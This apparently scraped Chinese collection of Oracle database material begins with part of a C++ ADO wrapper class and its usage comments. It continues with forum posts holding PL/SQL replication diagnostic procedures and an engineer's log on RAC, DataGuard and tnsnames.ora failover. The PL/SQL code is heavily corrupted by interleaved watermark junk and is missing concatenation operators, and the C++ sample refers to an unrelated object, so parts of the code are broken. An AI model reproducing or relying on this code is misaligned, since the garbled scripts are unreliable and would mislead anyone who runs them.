  ★// 2.關(guān)閉數(shù)據(jù)庫
  m_OracleDataBase.close_database();
  ★// 3.打開數(shù)據(jù)庫表
  // m_OracleDataBase.open_table(表名);
  ★// 4.刪除表
  m_OracleDataBase.del_table(表名);
  ★// 5.關(guān)閉數(shù)據(jù)庫表
  m_OracleDataBase.close_table();
  ★// 6.遍歷數(shù)據(jù)庫表
  PTSTR ptTableName;
  for (bool bfOk = m_OracleDataBase.first_table_name(ptTableName); bfOk; bfOk = m_OracleDataBase.next_table_name(ptTableName)) {
   if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) == 0) continue;
   // 得到表名
   MessageBox(ptTableName);
  }
  ★// 7.添加字段
  m_OracleDataBase.add_field(表名, 字段);  // 字段形式 _TEXT(\\\"Field1 INTEGER, Field2 INTEGER, ...\\\")
  ★// 8.刪除字段
  m_OracleDataBase.del_field(表名, 字段名);
  ★// 9.獲取字段數(shù)量
  int nFieldCount = m_OracleDataBase.get_field_count(表名);
  ★// 10.遍歷字段
  for (int i = 0; i < nFieldCount; i++) {
   PCTSTR pctFieldName = m_OracleDataBase.get_field_name(i, 表名);
   MessageBox(pctFieldName);
  }
  ★// 11.獲取字段類型
  DataTypeEnum FieldType;
  m_OracleDataBase.get_field_type(字段號, FieldType);  // 字段號:字段的序號(從 0 開始)
  ★// 12.執(zhí)行 SQL 語句
  m_OracleDataBase.execute_sql(SQL 語句);
  ★// 13.獲取數(shù)據(jù)庫內(nèi)容
  m_OracleDataBase.execute_sql(_TEXT(\\\"SELECT * FROM 表名\\\"));  // 查詢所有數(shù)據(jù)
  m_OracleDataBase.execute_sql(_TEXT(\\\"SELECT COUNT(*) FROM 表名\\\"));  // 得到數(shù)據(jù)庫記錄條數(shù)
  _variant_t vtItemCount = m_OracleDataBase.get_collect_value(long(0));
  _bstr_t bsValue = vtItemCount;  // 將結(jié)果格式化為字符串
  ★// 14.遍歷數(shù)據(jù)庫所有內(nèi)容
  TCHAR szSQL[MAX_PATH];
  _stprintf(szSQL, _TEXT(\\\"SELECT * FROM %s\\\"), ptTableName);  // 格式化 SQL 語句
  m_OracleDataBase.execute_sql(szSQL);   // 執(zhí)行 SQL 語句
  m_OracleDataBase.first();  // 將游標(biāo)移動到第一條數(shù)據(jù)
  _bstr_t bsValue;
  for (int i = 0; i < vtItemCount.intVal; i++) {    // 循環(huán)所用行
   if (m_OracleDataBase.Is_BOF() == 1) break;   // 如到了表最后則退出循環(huán)
   for (int j = 0; j < nFieldCount; j++) {   // 循環(huán)所有列
    variant_t vtValue = m_OracleDataBase.get_collect_value(long(j));  // 格式化得到的每列數(shù)據(jù)為字符串
    bsValue = _bstr_t(vtValue.vt == VT_NULL ? _TEXT(\\\"\\\") : vtValue.vt);
   }
   bfOk = m_AccessDataBaseCtrl.next();   // 移動到下一列
  }
  ★// 15.刪除當(dāng)前行
  m_OracleDataBase.del_collect_value();
  ★// 16.注冊數(shù)據(jù)庫
  COracleDataBaseCtrl::Configuration_DataBaseSource(DNS, 數(shù)據(jù)庫DB文件路徑, 描述);
  ★// 17.其它還有一些請參:OracleDataBaseCtrl.h 文件
  ★// 18.反注冊 COM   CoUninitialize();
*/
#pragma once

#pragma warning(disable:4146)
#import \\\"c:\\\\Program Files\\\\Common Files\\\\System\\\\ado\\\\Msado15.dll\\\" \\\\
no_namespace \\\\
rename (_TEXT(\\\"EOF\\\"), _TEXT(\\\"adoEOF\\\"))
#pragma warning(default:4146 )
 
 
#ifdef ORACLEDATABASECTRL_EXPORTS
#define ORACLEDATABASECTRL_API __declspec(dllexport)
#else
#define ORACLEDATABASECTRL_API __declspec(dllimport)
#endif
 

// 此類是從 OracleDataBaseCtrl.dll 導(dǎo)出的
class ORACLEDATABASECTRL_API COracleDataBaseCtrl {
public:
 COracleDataBaseCtrl(void);
 // TODO: 在此添加您的方法。
 ~COracleDataBaseCtrl();
 //****************************************************************************
private:
 _ConnectionPtr m_pConnection;
 _RecordsetPtr m_pRecordset;
 HRESULT hr;
 //****************************************************************************
public:
 // 打開數(shù)據(jù)庫
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT open_database(PCTSTR pctsUser, PCTSTR pctsPass, PCTSTR pctsServer, long Options = adModeUnknown);
 // 斷開數(shù)據(jù)庫
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT close_database();
 //****************************************************************************
 // 打開表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT open_table(PCTSTR pctsTableName, long Options = adCmdText);
 // 關(guān)閉表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT close_table();
 // 創(chuàng)建表創(chuàng)建表和字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT create_table(PCTSTR pctsTableName, PCTSTR pctsField, long Options = adCmdText);
 // 刪除表
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT del_table(PCTSTR pctsTableName, long Options = adCmdText);
 // 添加字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT add_field(PCTSTR pctsTableName, PCTSTR pctsField, long Options = adCmdText);
 // 刪除字段
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT del_field(PCTSTR pctsTableName, PCTSTR pctsFieldName, long Options = adCmdText);
 // 得到表的字段數(shù)量
 unsigned long get_field_count(PCTSTR pctsTableName);
 // 得到表的字段名
 PCTSTR get_field_name(unsigned long unFieldIndex, PCTSTR pctsTableName);
 // 得到字段的類型
 // 參數(shù):pFieldType [OUT] 字段類型
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT get_field_type(unsigned long unFieldIndex, DataTypeEnum &FieldType);
 // 遍歷所有表名(第一個)
 // 參數(shù):ptTableName [OUT]  遍歷到的表名
 // 注意:if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) != 0 ) 表名才有效
 // 返回:false 出錯或遍歷完畢
 bool first_table_name(PTSTR &ptsTableName);
 // 遍歷所有表名(下一個)
 // 參數(shù):ptTableName [OUT]  遍歷到的表名
 // 注意:if (lstrcmp(ptTableName, _TEXT(\\\"\\\")) != 0 ) 表名才有效
 // 返回:false 出錯或遍歷完畢
 bool next_table_name(PTSTR &ptsTableName);
 //****************************************************************************
 // 執(zhí)行 SQL 語句
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT execute_sql(PCTSTR pctsSQL, long Options = adCmdText);
 // 是否到記錄集末端(0--沒有,1--是 -1--錯誤)
 int Is_BOF(void);
 // 跳向前一個記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT prev(void);
 // 遍歷到第一個記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT first(void);
 // 遍歷到下個記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT next(void);
 // 遍歷到最后一個記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT last(void);
 // 更新(確認(rèn))記錄
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT update(void);
 // 重新查詢
 // 用 SUCCEEDED 或 FAILED 判斷返回值
 HRESULT reQuery(long Options = 0);
 // 記錄集是否為空(0--沒有,1--是 -1--錯誤)
 int Is_Empty(void);
 // 獲取數(shù)據(jù)
 _variant_t get_collect_value(PCTSTR pctsCollectName);
 // 獲取數(shù)據(jù)
 _variant_t get_collect_value(long lCollectIndex);
 // 設(shè)置數(shù)據(jù)
 bool put_collect_value(PCTSTR pctsCollectName, _variant_t vtValue);
 // 設(shè)置數(shù)據(jù)
 bool put_collect_value(long lCollectIndex, _variant_t vtValue);
 // 刪除一行數(shù)據(jù)(當(dāng)前)
 bool del_collect_value();
 //****************************************************************************
 // 配置數(shù)據(jù)源
 static bool Configuration_DataBaseSource(PCTSTR pctDNS, PCTSTR pctDBPath, PCTSTR pctDescription);
};
/*---------------------------------------------------------------------------*/
/*-----------------------End OracleDataBaseCtrl.h ---------------------------*/
/*---------------------------------------------------------------------------*/
 
 
/*---------------------------------------------------------------------------*/
/*------------------------ OracleDataBaseCtrl.cpp ---------------------------*/
/*---------------------------------------------------------------------------*/
// OracleDataBaseCtrl.cpp : 定義 DLL 應(yīng)用程序的入口點。
//
#include \\\"stdafx.h\\\"
#include \\\"OracleDataBaseCtrl.h\\\"

//****************************************************************************
// 數(shù)據(jù)庫表名
TCHAR * pszTableName;
// 數(shù)據(jù)庫字段名
TCHAR * pszFieldName;
//****************************************************************************
COracleDataBaseCtrl::COracleDataBaseCtrl()
: m_pConnection(NULL)
, m_pRecordset(NULL)
, hr(NULL)
{
 // 初始化COM
 if(FAILED(::CoInitialize(NULL))) return;
 pszTableName = (TCHAR *)malloc(MAX_PATH);
 if (pszTableName == NULL) return;
 pszFieldName = (TCHAR *)malloc(MAX_PATH);
 if (pszFieldName == NULL) return;
}
COracleDataBaseCtrl::~COracleDataBaseCtrl()
{
 // 反注冊COM
 CoUninitialize();
 if (pszTableName != NULL) free(pszTableName);
 if (pszFieldName != NULL) free(pszFieldName);
}
]]>
有關(guān)oracle高可靠性的一些討論和想法http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2496&Page=1wangxinxin2010-12-11 10:49:48Oracle 數(shù)據(jù)庫復(fù)制常用腳本 Oracle的數(shù)據(jù)復(fù)制是一個Oracle數(shù)據(jù)庫產(chǎn)品中比較成熟的一項技術(shù),它是整個分布式計算解決方案的一個重要組成部分。 對于具有復(fù)制環(huán)境的數(shù)據(jù)庫系統(tǒng),和Oracle DBA一樣,同樣要有一個人來專門負(fù)責(zé)維護(hù)Oracle的數(shù)據(jù)復(fù)制問題,稱之為Oracle Replication Administrator(Oracle復(fù)制治理員)。本文就Oracle數(shù)據(jù)復(fù)制中復(fù)制治理員經(jīng)常關(guān)心的一些關(guān)于復(fù)制系統(tǒng)的問題,編寫了不同的存儲過程。當(dāng)然,通過Oracle提供的復(fù)制治理器也可以達(dá)到這些目的,但在實際應(yīng)用中,Oracle復(fù)制治理器具有不靈活,速度慢,同時我們不能對其查詢結(jié)果進(jìn)行隨意控制等等的缺點。一、查看Oracle8x延遲事務(wù)隊列調(diào)用及調(diào)用個數(shù)IT我最牛-程序員的技術(shù)討論與分享園地U Zh:uwC*f [`
推(push)一個大的延遲事務(wù)(Deferred Transactions)隊列是非常慢的。一個常見的問題就是一個事務(wù)中含有非常多的調(diào)用(calls)。假如系統(tǒng)檢測到一個錯誤,如ora-01403(數(shù)據(jù)未找到錯誤),也就是我們常說的檢測到?jīng)_突,而且沒有沖突消除方法,寫到deferror錯誤表和回滾事務(wù)的時間就會更長,事務(wù)中假如調(diào)用calls很多,則消耗在任何一個調(diào)用的時間就會以指數(shù)形式增長。對于數(shù)據(jù)復(fù)制中每個事務(wù)的調(diào)用數(shù)Oracel強(qiáng)烈建議不超過50個。下面的存儲過程提供了一個快速查看延遲事務(wù)隊列中的事務(wù)列表以及每個事務(wù)中調(diào)用數(shù)的腳本。輸出是以傳輸順序排列的,這個順序就是事務(wù)將要傳播到主節(jié)點的順序。這對于確定傳播中的延遲以及掛起等是非常有幫助的。在搭建Oracle數(shù)據(jù)復(fù)制環(huán)境中,有一個經(jīng)驗是值得注重的,那就是一定要設(shè)置沖突解決方案,即可使用Oracle系統(tǒng)提供的幾種方案,也可以自己編寫腳本來完成沖突處理。為什么這樣說,一定要設(shè)置沖突解決方案,也許我們可以說,我們的復(fù)制環(huán)境是一個單項復(fù)制,不可能出現(xiàn)沖突現(xiàn)象。在這里我講一個自己的親身經(jīng)歷的例子來說明這個問題,在實際工作中,我搭建了一個具有15個節(jié)點的高級復(fù)制環(huán)境,一個主定義節(jié)點,14個主節(jié)點,其中14個主節(jié)點向主定義節(jié)點單向傳遞數(shù)據(jù)。一般來講這種情況下不會出現(xiàn)沖突。但是在實際應(yīng)用中,問題就出現(xiàn)了,其中幾個節(jié)點在傳輸了一些數(shù)據(jù)后,就掛(hang)了起來。所有可能查找的原因到查了,始終發(fā)現(xiàn)不了問題的根結(jié)。最后發(fā)現(xiàn)是由于數(shù)據(jù)傳播到遠(yuǎn)程節(jié)點后,出現(xiàn)了錯誤,而在該節(jié)點又沒有設(shè)置沖突解決方案,同時出現(xiàn)錯誤的該事務(wù)又具有超過1000條的調(diào)用。其中有一條調(diào)用出錯了,事務(wù)需要回滾,而這個在本地和遠(yuǎn)程節(jié)點間的回滾時間就會以幾何基數(shù)增長。就出現(xiàn)了前面談到的系統(tǒng)掛起(hang)的表現(xiàn)。這也就是說即是在根本不可能出現(xiàn)沖突的系統(tǒng)中,由于偶然的不定的錯誤進(jìn)程,批量數(shù)據(jù)的處理以及沒有考慮復(fù)制情況下的數(shù)據(jù)導(dǎo)入都可造成在傳播過程中嚴(yán)重的性能問題,最嚴(yán)重的情況就是系統(tǒng)掛起,不能完成正常的復(fù)制工作。最簡單和有效的辦法就是在多路復(fù)制環(huán)境下設(shè)置一個系統(tǒng)確省的沖突處理方法來避免這種情況的發(fā)生。下面這個存儲過程就是在Oracle 8 環(huán)境下列出延遲事務(wù)隊列中的事務(wù)和事務(wù)中調(diào)用個數(shù)的腳本,該腳本對Oracle 7 不支持,這是因為Oracle 8 和Oracle 7 的復(fù)制機(jī)制發(fā)生了變化。存儲過程調(diào)用方法:在SQL/PLUS下,首先運行下面的設(shè)置,使存儲過程的輸出到屏幕上, SET SERVEROUTPUT ON SIZE 200000IT我最牛-程序員的技術(shù)討論與分享園地 [QN1b/S{p
EXEC P_LIST_TRANSACTIONS(ORA_SJJK); 其中,存儲過程的參數(shù)as_destination為所要查看的事務(wù)傳播到目的節(jié)點的延遲隊列,為數(shù)據(jù)庫聯(lián)接(DBLINK)名。假如我們看到一個事務(wù)具有很多的調(diào)用(超過50個),這個事務(wù)很可能就是造成延遲事務(wù)隊列推過程延遲甚至是掛起的原因。附:存儲過程腳本:下載該腳本 CREATE OR REPLACE PROCEDURE REPADMIN.P_LIST_TRANSACTION(as_destination in VARCHAR2) ISIT我最牛-程序員的技術(shù)討論與分享園地.iF8N-]X)]
local_node VARCHAR2(128);
h}6G.w-Ynvo xm0remote_node VARCHAR2(128);
-rt;~'~S5t;H$_0last_scn NUMBER;
]-IYARd!C0last_tid VARCHAR2(22);
A(G:f1^/zEg0last_tdb VARCHAR2(128);
-k7e1jF8x~%Y2U0cnt NUMBER; CURSOR c(last_delivered NUMBER, last_tid VARCHAR2, last_tdb VARCHAR2) IS
%K} iw5^+U0@.p#l_;Y0select cscn, enq_tid,
"mfj?wQPR?0dscn, DECODE(c.recipient_key, 0, 'D', 'R')IT我最牛-程序員的技術(shù)討論與分享園地"|T iM&C
from system.def$_aqcall c whereIT我最牛-程序員的技術(shù)討論與分享園地 ]7{z(V)Y r
(c.cscn >= last_delivered)
r3j^ qN(Q dJ0and ((c.cscn > last_delivered) or (c.enq_tid > last_tid))IT我最牛-程序員的技術(shù)討論與分享園地#cM`Sy2|z"J!mkd
and (IT我最牛-程序員的技術(shù)討論與分享園地 uGND5w^zK
( c.recipient_key = 0IT我最牛-程序員的技術(shù)討論與分享園地 S9X"R0rr [
and exists ( select /*+ index(cd def$_calldest_primary) */ nullIT我最牛-程序員的技術(shù)討論與分享園地)}6g9X,VW6rSI
from system.def$_calldest cd
Qu RoT0where cd.enq_tid = c.enq_tid
c:|F}H:U8H0and cd.dblink = remote_node ) )IT我最牛-程序員的技術(shù)討論與分享園地o:xlN-\~&RW
or ( c.recipient_key > 0
/n.C.U#x+@^r9i0and ( ( exists (
RJn1N X8L0select null from system.repcat$_repprop P
p0K"SHo0where P.dblink = remote_node
(v/@uPB S#Z+BK0and P.how = 1IT我最牛-程序員的技術(shù)討論與分享園地z8c/d,_dl:k)V z4v c?\)I
and P.recipient_key = c.recipient_keyIT我最牛-程序員的技術(shù)討論與分享園地8^#XZ esRGsV7@X
and ((P.delivery_order is NULL)
J,A8YJF&R.rk7i0or (P.delivery_order < c.cscn))))IT我最牛-程序員的技術(shù)討論與分享園地Q~QMzj2qu
or ( existsIT我最牛-程序員的技術(shù)討論與分享園地h0u!g4u`n]Fk
( select /*+ ordered use_nl(rp) */ nullIT我最牛-程序員的技術(shù)討論與分享園地xi7JU%o8k ?rK6^
from system.def$_aqcall cc, system.repcat$_repprop rp
]LI(_ iW*Lq0where cc.enq_tid = c.enq_tidIT我最牛-程序員的技術(shù)討論與分享園地 j L]1po+OO$}
and cc.cscn is null
DT:w:s K mV%Zi)e-eE0and rp.recipient_key = cc.recipient_key
T Sk,Q3Yi0and rp.how = 1IT我最牛-程序員的技術(shù)討論與分享園地#oJ'FE/m:oZ
and rp.dblink = remote_node
5Sq cXFi0and ((rp.delivery_order is NULL)IT我最牛-程序員的技術(shù)討論與分享園地W%i]?['Q H"w%c t6R
or (rp.delivery_order < c.cscn)))))))
)Jz,Z _.v8sKK0order by c.cscn, c.enq_tid;
-bX3g%})S0 BEGINIT我最牛-程序員的技術(shù)討論與分享園地cg;O {S;P,C
SELECT NLS_UPPER(global_name) INTO local_node FROM global_name;IT我最牛-程序員的技術(shù)討論與分享園地6V*YiVDf1V
SELECT dblink INTO remote_node from deftrandest
4rwJ,K)J%T#Vb0WHERE dblink LIKE UPPER (as_destination'%') AND ROWNUM < 2;IT我最牛-程序員的技術(shù)討論與分享園地Ot {l0Y3r
IF (remote_node IS NULL) THENIT我最牛-程序員的技術(shù)討論與分享園地 M0?+t&J!i7K7A
DBMS_OUTPUT.PUT_LINE ('不能確定目標(biāo)節(jié)點,輸入?yún)?shù)有誤!');IT我最牛-程序員的技術(shù)討論與分享園地h!OAf1V!p$_%a\
RETURN;
J#| ~8K)\(~0ELSEIT我最牛-程序員的技術(shù)討論與分享園地r1TMy#X-ycB A
DBMS_OUTPUT.PUT_LINE ('延遲事務(wù)目標(biāo)節(jié)點為: 'remote_node);
}@3Q4B hX0QNU0DBMS_OUTPUT.PUT_LINE ('-------------------------------------------');
j#O*A.|9l*x't0END IF;
]Zu\p!M;oL0SELECT last_delivered, last_enq_tid, dblink
M+},sK&?kTW0yy0INTO last_scn, last_tid, last_tdbIT我最牛-程序員的技術(shù)討論與分享園地 K6p)_&{{.w9j\F'l
FROM system.def$_destinationIT我最牛-程序員的技術(shù)討論與分享園地1TReDRJ&S@M
WHERE dblink = remote_node; FOR R IN C(last_scn,last_tid,last_tdb) LOOP
/d7paN2i0SELECT count(*) INTO cnt FROM system.def$_aqcall WHERE enq_tid = r.enq_tid;
'ZsC8D&i1VPn0DBMS_OUTPUT.PUT_LINE ('延遲事務(wù) ID='r.enq_tid' 調(diào)用個數(shù)='to_char(cnt));
mCj!Dqr$Y/n#}0END LOOP;
rune`K0END;
9yy'z{9dB0/
@5wg:b|6{0  二、Oracle 8高級復(fù)制環(huán)境設(shè)置問題診斷腳本要保證搭建的一個高級復(fù)制環(huán)境工作,必須保證所有的復(fù)制對象處于正常狀態(tài),對于一個高級復(fù)制環(huán)境,要檢查一個復(fù)制環(huán)境中是否所有對象均處于正常工作狀態(tài),需要檢查不同的系統(tǒng)字典對象,包括復(fù)制組對象,復(fù)制對象,復(fù)制方案對象等等。假如搭建的這個高級復(fù)制環(huán)境包含很多節(jié)點,每個節(jié)點又包含幾個復(fù)制方案(schema)以及每個方案又包含多個復(fù)制對象,則完成一遍檢查需要作很多的重復(fù)工作,這里針對這個問題,編寫了一個復(fù)制設(shè)置問題診斷包,只有運行該包中相應(yīng)的過程,即可完成對上面提到的相關(guān)對象的診斷,給出相應(yīng)診斷結(jié)果。運行方法是,在SQL/PLUS環(huán)境下, SQL> spool <文件名>IT我最牛-程序員的技術(shù)討論與分享園地}M(~$p;~+u
SQL> set serveroutput on
Y'krMK/REE0SQL> exec rep_diag.rep_diag; 這里強(qiáng)調(diào)一點,運行該包的用戶,必須具有對系統(tǒng)字典表dba_repschema、dba_diagnose、dba_repcat以及dba_repcatlog的檢索(select)權(quán)限,當(dāng)然,復(fù)制治理員(RepAdmin)用戶是均有這些權(quán)限的。附:高級復(fù)制環(huán)境設(shè)置問題診斷包腳本。下載該腳本 CREATE OR REPLACE PACKAGE REP_DIAG IS
RmHX+AO kyL0PROCEDURE REP_DIAG;IT我最牛-程序員的技術(shù)討論與分享園地} g W'f)wR*`3\4H
PROCEDURE REP_SCHEMA;IT我最牛-程序員的技術(shù)討論與分享園地O L][Y'i:h
PROCEDURE REP_OBJECT;
?sl|$N)G*W0PROCEDURE REP_ERROR;IT我最牛-程序員的技術(shù)討論與分享園地t(sw~2W%d,O ES3j
PROCEDURE REP_STAT;IT我最牛-程序員的技術(shù)討論與分享園地glC a aHf{f
END REP_DIAG;
9tosP r2i9iQ0/ CREATE OR REPLACE PACKAGE BODY REP_DIAG IS
%}GF'Ll%O3s0PROCEDURE REP_DIAG ISIT我最牛-程序員的技術(shù)討論與分享園地E^B3{9N(z.Q{
BEGINIT我最牛-程序員的技術(shù)討論與分享園地 q\ EDRj0w m
        REP_SCHEMA;IT我最牛-程序員的技術(shù)討論與分享園地M-H3HX.F{
        REP_OBJECT;IT我最牛-程序員的技術(shù)討論與分享園地 s+]'[rz'w
        REP_ERROR;IT我最牛-程序員的技術(shù)討論與分享園地l0nO9l q#K&L2o
        REP_STAT;       
mP"SO\0END REP_DIAG; PROCEDURE REP_SCHEMA ASIT我最牛-程序員的技術(shù)討論與分享園地)\)v7|aZZ
   CURSOR C_SCHEMA IS SELECT SNAME, DBLINK, MASTERDEFIT我最牛-程序員的技術(shù)討論與分享園地DQ$h#G;g1E:o'Xb
                FROM SYS.DBA_REPSCHEMA;IT我最牛-程序員的技術(shù)討論與分享園地0zD+A pfcN[7L
BEGINIT我最牛-程序員的技術(shù)討論與分享園地Zr)Ci[5ij
        DBMS_OUTPUT.PUT_LINE('復(fù)制方案明細(xì)信息');IT我最牛-程序員的技術(shù)討論與分享園地v[!I](f
        DBMS_OUTPUT.PUT_LINE('-------------------------');
"ly?a a4V P ?W ww z%w0        FOR T_SCHEMA IN C_SCHEMA LOOP
(?&A[1uJ W:\/JA2w0                DBMS_OUTPUT.PUT_LINE('方案名稱:    'T_SCHEMA.SNAME);IT我最牛-程序員的技術(shù)討論與分享園地V"|+sC ZH6c
                DBMS_OUTPUT.PUT_LINE('是否為主定義節(jié)點: 'T_SCHEMA.MASTERDEF);IT我最牛-程序員的技術(shù)討論與分享園地H9b2r}4U
                DBMS_OUTPUT.PUT_LINE('數(shù)據(jù)庫聯(lián)接名稱:    'T_SCHEMA.DBLINK);IT我最牛-程序員的技術(shù)討論與分享園地p+D6?J/mxl {(`5\*k
                DBMS_OUTPUT.PUT_LINE('.');IT我最牛-程序員的技術(shù)討論與分享園地]J,Cp7txXe5`
        END LOOP;
)p@P'v[0END REP_SCHEMA;
q5~:i"^ E?f? IN0 PROCEDURE REP_OBJECT AS
Q E-|1|bn.z0   CURSOR C_REP_OBJECT IS SELECT SNAME, ONAME, TYPE, STATUSIT我最牛-程序員的技術(shù)討論與分享園地 ?w.KLAU r V@^1m(B
   ]]>
oracle高可靠性的一些討論和想法http://www.022-oo.cn/bbs/dispbbs.asp?BoardID=65&ID=2495&Page=1wangxinxin2010-12-11 10:46:58http://skyhorse.blogbus.com/logs/2004/03/106569.html
有關(guān)RAC的工作日志:
12月16日到12月23日做RAC的試驗。12月24日把服務(wù)器交給QYC做DataGuard.
QYC做完DataGuard試驗之后,1月4日我重新開始做RAC的試驗。
當(dāng)初說是要做XX集團(tuán)的雙機(jī)熱備,因為我應(yīng)用oracle的時間非常短,對oracle并不熟悉,所以我這段時間就搜集了
一些相關(guān)的信息和資料,以供大家參考。
XX集團(tuán)的應(yīng)用我分析了一下,應(yīng)該是不要求24*7連續(xù)工作的,只要能夠及時恢復(fù)訪問即可,而且數(shù)據(jù)量不是太大

而且我原來讓XX方面做了NAT, 我們在這里就可以進(jìn)行遠(yuǎn)端的控制,控制到XX集團(tuán)內(nèi)部的Intranet的個別服務(wù)器。
我在網(wǎng)上所能搜到的信息是高可用性解決方案分為4種,
一種是oracle提供的被用方法,Standby (=9i DataGuard)
一種是AR (高級復(fù)制Advanced Replication,在以前版本叫快照snapshot)
一種是oracle 并行服務(wù)器8i的OPS (9i RAC,Real Application Cluster)
一種是第三方HA解決方案 (如Rose HA,故障切換時間是幾分鐘)
oracle公司的牛人著的里也是
把這4種方法做為高可用方案的組成。
這幾種方案從原理上來講都很容易理解,但是實際上有相當(dāng)多的細(xì)節(jié)和問題。
另外還有一種是大家都不太熟悉的是oracle 的 failsafe。
failsafe 采用的是SHARE NOTHING結(jié)構(gòu),即采用若干臺服務(wù)器組成集群,共同連接到一個共享磁盤系統(tǒng),
在同一時刻,只有一臺服務(wù)器能夠訪問共享磁盤,能夠?qū)ν馓峁┓⻊?wù).這與第3方HA方案的概念基本一樣。
但是 failsafe系統(tǒng)局限于WINDOWS(winnt,win2k...)平臺,必須配合MSCS(microsoft cluster server).
我在網(wǎng)上找到現(xiàn)成的雙機(jī)熱備的文檔 就是講在 oracle8i上如何做standby. 其保證了始終有一臺備用的
數(shù)據(jù)庫能夠在很短時間內(nèi)通過人工,恢復(fù)正常的訪問,并保證數(shù)據(jù)一致。這是不要求24*7連續(xù)工作時所考慮的方
案。
我們所能做試驗的就是前三種方案,因為人手有限,所以就做了9i的DataGuard 和RAC 兩種方案的試驗。
高級復(fù)制據(jù)說lwd在很久以前做過。我打電話問oracle公司,他說AR對數(shù)據(jù)庫的性能影響太大。
高級復(fù)制也分為兩種情況
1.主動/被動策略: node1處于主動模式,數(shù)據(jù)庫可讀寫,node2處于被動模式,數(shù)據(jù)庫只讀。
2.主動/主動策略: node1和node2 都處于主動模式,數(shù)據(jù)庫都可讀寫。這種對數(shù)據(jù)庫的性能影響特別大。
在講述DataGuard和RAC這兩種方案之前,我先補充一點關(guān)于oracle Client 如何能夠不修改本機(jī)配置就能
訪問兩臺oracles數(shù)據(jù)庫的方法。
也就是修改本機(jī)的tnsname.ora
一個通常的tnsname.ora 如下:
RACDB =
(DESCRIPTION =
(LOAD_BALANCE = off)
(failover = on)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 211.68.29.61)(PORT = 1521))
(ADDRESS = (PROTOCOL = TCP)(HOST = 211.68.29.62)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = racdb)
)
)
在 ADDRESS_LIST 中 寫了兩個地址,client 通過oracle net 在訪問時,如果訪問不通第一個ip,就會訪問第2個
ip.
這個特性是早就有了的。load_balance 特性也是有的。但是在兩臺數(shù)據(jù)庫內(nèi)容不一致的情況下是沒有任何意義的

不過,在oracle9i 的官方pdf中,load_balance 特性是不推薦使用的。
RAC 的試驗我昨天已經(jīng)做成了,雖然遇到了一些不大不小的Bug和不穩(wěn)定現(xiàn)象。
環(huán)境是oracle9.2.0.1.0 , 2* RedHatAdvanceServer 2.1 和一個磁盤陣列, 采用的是裸設(shè)備。
RAC 是share everything 模式,兩個數(shù)據(jù)庫實例同時共享同一套數(shù)據(jù)文件,控制文件,日志文件。
客戶端可以同時訪問這兩臺數(shù)據(jù)庫得到的數(shù)據(jù)都是一致的,它的重點是高性能,可擴(kuò)展性。但是可靠性是不如Data
Guard的。
因為首先在物理上是連接在一起的,是沒法容災(zāi)的。
其次,instance1 死掉的話,可能可能影響instance2。
(Oracle 公司的電話支持說的, 以及網(wǎng)上的論壇中有相關(guān)的例子,一個實例down機(jī)拖累另一臺不能正常工作,
我在做RAC試驗的時候,也出現(xiàn)了node1 重起,造成node2也重起的個別現(xiàn)象)
當(dāng)然了,與單機(jī)的oracle相比,可用性肯定是高的。
另外網(wǎng)上我所能找得到的RAC成功案例(論壇oracle版主之類實施),無一例外都是oracle經(jīng)過認(rèn)證的服務(wù)器硬件和
軟件.
例如HP,DELL PowerEdge服務(wù)器。DELL/EMC fiber-channel storage array 等等。
另外,因為沒有多余交換機(jī),4塊網(wǎng)卡中的進(jìn)行內(nèi)部通信用的兩塊網(wǎng)卡我采用的是直接級聯(lián)
(新聚思公司的oracle支持說這樣不穩(wěn)定,但是為什么不穩(wěn)定也沒有說原因)
有關(guān)共享文件系統(tǒng)的一些問題:
采用裸設(shè)備無法進(jìn)行日常管理,也沒有辦法進(jìn)行文件系統(tǒng)級的備份。
開始我第一次在Mandrake8.1的時候,對陣列進(jìn)行分區(qū),而fdisk在linux下只能分16個分區(qū),我只好采用
lvm(logical volume manager,支持256個)對裸設(shè)備進(jìn)行管理。后來在dbca創(chuàng)建數(shù)據(jù)庫的最后階段無法創(chuàng)建,只
好作罷。
第二次用RedHat AS2.1,oracle網(wǎng)站新推出了針對ocfs,我將其2003-1-3 更新的有關(guān)ocfs的所有rpm包(只適用
于AS2.1)安裝上,但是卻發(fā)現(xiàn)無法正常加載ocfs module, 我查了好久,估計這與我們所用的世紀(jì)曙光硬件有關(guān)

采用的AMD雙Athlon MP 1800+ 以及相關(guān)主機(jī)硬件,RedHat AS 2.1 無法正常認(rèn)出,從而造成ocfs modules也無法
正常加載,因為ocfs modules與kernel是相關(guān)的。或許換成intel 的雙cpu, 或換成單cpu ,然后重裝系統(tǒng)就可以
解決。
因為rhAS2.1的內(nèi)核不支持 lvm, 需要重新編譯內(nèi)核才能支持,我只好 將磁盤陣列分成2個drive,分別進(jìn)行了
分區(qū),跳過了fdisk分區(qū)數(shù)量限制,給oracle提供了足夠多的裸分區(qū)。
當(dāng)初做方案時買的vertris 的冷備份軟件(大概10萬元)是只能在oracle停機(jī)時通過smb來copy 文件進(jìn)行備份到磁
帶里的。
而裸設(shè)備是沒有辦法copy 的。
客戶端在tnsname.ora配好address_list后,
當(dāng)nodeA 停機(jī)時,是可以不用修改配置訪問到nodeB 的。
但是這也分很多種情況
nodeA down,
listenerA down,
InstanceA down,
InstanceA in indeterminate state,
session die等等。
